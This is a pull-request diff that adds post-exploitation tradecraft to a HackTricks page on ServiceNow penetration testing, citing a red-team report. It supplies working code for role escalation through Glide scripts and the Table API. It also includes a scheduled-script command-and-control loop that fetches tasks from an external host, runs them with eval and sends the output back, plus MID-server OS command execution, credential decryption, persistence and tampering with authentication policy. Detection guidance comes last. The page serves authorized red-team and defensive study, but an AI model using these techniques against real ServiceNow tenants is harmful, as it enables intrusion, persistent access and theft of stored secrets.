Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
119 changes: 119 additions & 0 deletions src/network-services-pentesting/pentesting-web/servicenow.md
Original file line number Diff line number Diff line change
Expand Up @@ -103,6 +103,124 @@ Useful behaviors:
- Flags public `/stats.do` access
- Supports JSON output for triage and replay

## Initial access pivots

From a compromised workstation, a live ServiceNow browser session can provide a tenant foothold that is operationally separate from later host activity. Reuse the session only within the authorized test scope, inspect the user at `sys_user_list.do`, and inventory inherited as well as direct roles before choosing an escalation path. On accessible shares and deployment backups, search for ServiceNow MID `config.xml` files: they may expose the cloud-tenant service credential and proxy configuration. An account whose **Identity Type** is **Machine** may reject `login.do` while remaining usable through the REST API.<sup>[[7]](#references)</sup>

## Post-authentication role escalation

After obtaining a session or API credential, enumerate the effective roles in `sys_user_has_role` and reproduce them in a personal developer instance. Any role that can create or execute **User Criteria, transforms, reports, workflows, business rules, or scheduled scripts** should be treated as a potential server-side Glide-script primitive: the script may execute with more privilege than the caller, sometimes as `system`.<sup>[[7]](#references)</sup>

Useful chains identified during red-team engagements include:<sup>[[7]](#references)</sup>

- **`catalog_admin` β†’ `user_criteria_admin` β†’ `action_designer` β†’ `admin`:** create or edit an `sc_cat_item`, attach a scripted **Not Available For** User Criterion, and run it through `uc_item_diagnostics.do`. Use the first execution to insert `action_designer` into `sys_user_has_role`; after re-authentication, a Workflow Studio custom action with a Script Step can run in system context and assign `admin`.
- **`import_admin` via a machine identity:** if no REST API Access Policy restricts the credential's source, create an active `sys_transform_map` with `run_script=true`. Trigger it by inserting a row into its source import table; the transform can clear `web_service_access_only`, grant `action_designer`, and turn an API-only account into an interactive escalation path.
- **`sn_cmdb_editor` via report generation:** create or modify a CMDB360 query, create its report-builder record at `sysauto_ms_report_builder.do`, then select **Execute Now** in `sysauto_ms_report_builder_list.do`. Test whether the associated script executes with enough privilege to assign an intermediate role such as `business_rule_admin`.

For example, an API-only import account can create and trigger a scripted transform with two Table API requests; the JSON body must select an import source table and contain the privileged Glide logic in its `script` field.<sup>[[7]](#references)</sup>

```bash
curl -u 'svc-mid:<password>' -H 'Content-Type: application/json' \
-X POST 'https://<tenant>.service-now.com/api/now/table/sys_transform_map' \
--data @transform.json

curl -u 'svc-mid:<password>' -H 'Content-Type: application/json' \
-X POST 'https://<tenant>.service-now.com/api/now/table/imp_location' \
--data '{"u_state":"trigger"}'
```

The reusable privilege-write primitive is an insertion into `sys_user_has_role`; verify the target user and role before writing because the same pattern can be placed in User Criteria, transforms, Workflow Studio steps, report scripts, or business rules.<sup>[[7]](#references)</sup>

```javascript
var role = new GlideRecord('sys_user_role');
role.addQuery('name', 'action_designer');
role.query();
var user = new GlideRecord('sys_user');
user.addQuery('user_name', 'target.user');
user.query();
if (role.next() && user.next()) {
var link = new GlideRecord('sys_user_has_role');
link.initialize();
link.user = user.sys_id;
link.role = role.sys_id;
link.insert();
}
```

## Persistence and fileless Glide C2

Business rules provide event-driven persistence because almost every ServiceNow object is represented by a table. A rule attached to a low-frequency but dependable event, such as a Discovery status transition, can recreate a deleted account, reset its password, unlock/reactivate it, and restore its role assignment. Consequently, deleting the visible account does not contain the compromise while the modified rule remains active.<sup>[[7]](#references)</sup>

Scheduled script jobs in `sysauto_script` provide time-driven execution. Because server-side Glide JavaScript supports outbound requests through `sn_ws.RESTMessageV2` and dynamic evaluation through `eval`, a job can fetch a task, execute it inside the SaaS tenant, and POST the result without writing a tenant-side payload file.<sup>[[7]](#references)</sup>

```javascript
var get = new sn_ws.RESTMessageV2();
get.setHttpMethod('GET');
get.setEndpoint('https://redirector.example/checkin?id=' + gs.getProperty('instance_name'));
var task = get.execute().getBody();
if (task.length) {
var result = eval(task);
var post = new sn_ws.RESTMessageV2();
post.setHttpMethod('POST');
post.setEndpoint('https://redirector.example/output?id=' + gs.getProperty('instance_name'));
post.setRequestBody(String(result));
post.execute();
}
```

## Pivoting through MID servers

A compromised tenant can become a bridge into networks reachable by its MID servers. Two useful execution paths are:<sup>[[7]](#references)</sup>

1. Upload a JAR through **MID Servers β†’ JAR Files**, wait for synchronization, and use `JavascriptProbe` to invoke its class through the Rhino `Packages` namespace.
2. Insert a ready `Command` request into `ecc_queue` for a named `mid.server.<name>` agent. The MID server executes the operating-system command and returns an input-queue record whose `response_to` points to the request.

The minimal ECC request is shown below; authorized tooling should poll the response record and parse `//results/result/stdout` and `//results/result/stderr` from its XML payload.<sup>[[7]](#references)</sup>

```javascript
var ecc = new GlideRecord('ecc_queue');
ecc.initialize();
ecc.agent = 'mid.server.MID01';
ecc.topic = 'Command';
ecc.payload = "<parameters><parameter name='name' value='whoami'/>" +
"<parameter name='skip_sensor' value='true'/></parameters>";
ecc.queue = 'output';
ecc.state = 'ready';
var requestId = ecc.insert();
```

MID-side execution can also expose secrets that remain encrypted in the tenant UI. The MID automation libraries must decrypt credentials before using them; research demonstrated triggering MID-side code that instantiates `CredentialsProviderFactory` and calls `getCredentialByID(<sys_id>)` for Windows discovery, SSH, and API credentials. Also inspect named `sn_ws.RESTMessageV2` integrations: an existing CyberArk REST Message may retrieve any secret its configured AppID and Safe permit.<sup>[[7]](#references)</sup>

## High-value tables and authentication-policy manipulation

Post-compromise review should prioritize `sys_user_login_history` for login sources and privileged sessions, `incident` and `sn_si_incident` for security telemetry and analyst notes, and `sys_attachment` for reports and operational documents. MID records, credential metadata, REST Messages, and discovery configuration can identify the shortest path from the tenant to privileged internal infrastructure.<sup>[[7]](#references)</sup>

Adaptive Authentication is distributed across policy, decision-table, filter, and membership records. If a controlled administrator is blocked by source-IP or group conditions, enumerate active allow policies and trace this relationship chain:<sup>[[7]](#references)</sup>

```text
sys_auth_policy_context -> sys_authentication_policy -> sys_decision
-> sys_auth_policy_condition
-> sys_authentication_policy_criteria_m2m
-> sys_group_filter_criteria
-> sys_auth_policy_criteria_group -> sys_user_group/sys_user_grmember
```

A policy-write primitive can create a group containing the controlled user, create a `sys_group_filter_criteria`, link the group to the criterion and the criterion to each active allow policy, then add the corresponding `sys_auth_policy_condition`. This changes the policy data itself and may permit a fresh UI login without proxying through the originally compromised endpoint.<sup>[[7]](#references)</sup>

## Detection and containment pivots

Do not rely only on direct role assignments or visible record timestamps. A custom role can inherit `admin` through `sys_user_role_contains`, bypassing controls that inspect only direct `sys_user_role`/`sys_user_has_role` changes. Privileged scripts can also call `autoSysFields(false)` and forge `sys_created_by`, `sys_updated_by`, `sys_created_on`, and `sys_updated_on`; compare suspicious records with audit, update-set, transaction, and outbound-network evidence rather than trusting those fields alone.<sup>[[7]](#references)</sup>

During investigation, correlate these ServiceNow artifacts before terminating every relevant session and removing both the persistence object and its restored identities:<sup>[[7]](#references)</sup>

- `sys_user_role_history` and `sys_user_role_contains` for short-lived or inherited privilege.
- `sys_flow_log` for Workflow Studio execution when `glide.workflow.log=true` and `com.glide.hub.flow_engine.log_level=DEBUG`.
- `sys_script_execution_history` for Background Scripts and `syslog_transaction` for UI activity.
- `sysauto_script`, business-rule records, outbound `sn_ws.RESTMessageV2` traffic, and unusual `ecc_queue` topics/agents.
- `sn_vsc_security_policy` to understand enabled privileged-role alerts and whether they cover inherited roles.

An active impersonation session may survive deletion of the account from which impersonation began. Containment must therefore revoke active sessions, not merely disable/delete the visible user, and must verify that no scheduled script or business rule can recreate it.<sup>[[7]](#references)</sup>

## Detection / validation notes

From a defender or purple-team perspective, review logs for:<sup>[[1]](#references)</sup>
Expand All @@ -122,5 +240,6 @@ When validating impact, prefer **bounded evidence**: keep the total count, a min
- [4] [Varonis - Count(er) Strike: Data Inference Vulnerability in ServiceNow](https://www.varonis.com/blog/counter-strike-servicenow)
- [5] [ServiceNow - Table API reference](https://www.servicenow.com/docs/r/api-reference/rest-apis/c_TableAPI.html)
- [6] [ServiceNow - Service Portal widget API reference](https://www.servicenow.com/docs/r/platform-user-interface/service-portal/widget-api-reference.html)
- [7] [MDSec - When It Snows It Pours: Anatomy of a ServiceNow Red Team](https://mdsec.co.uk/2026/08/when-it-snows-it-pours-anatomy-of-a-servicenow-red-team)

{{#include ../../banners/hacktricks-training.md}}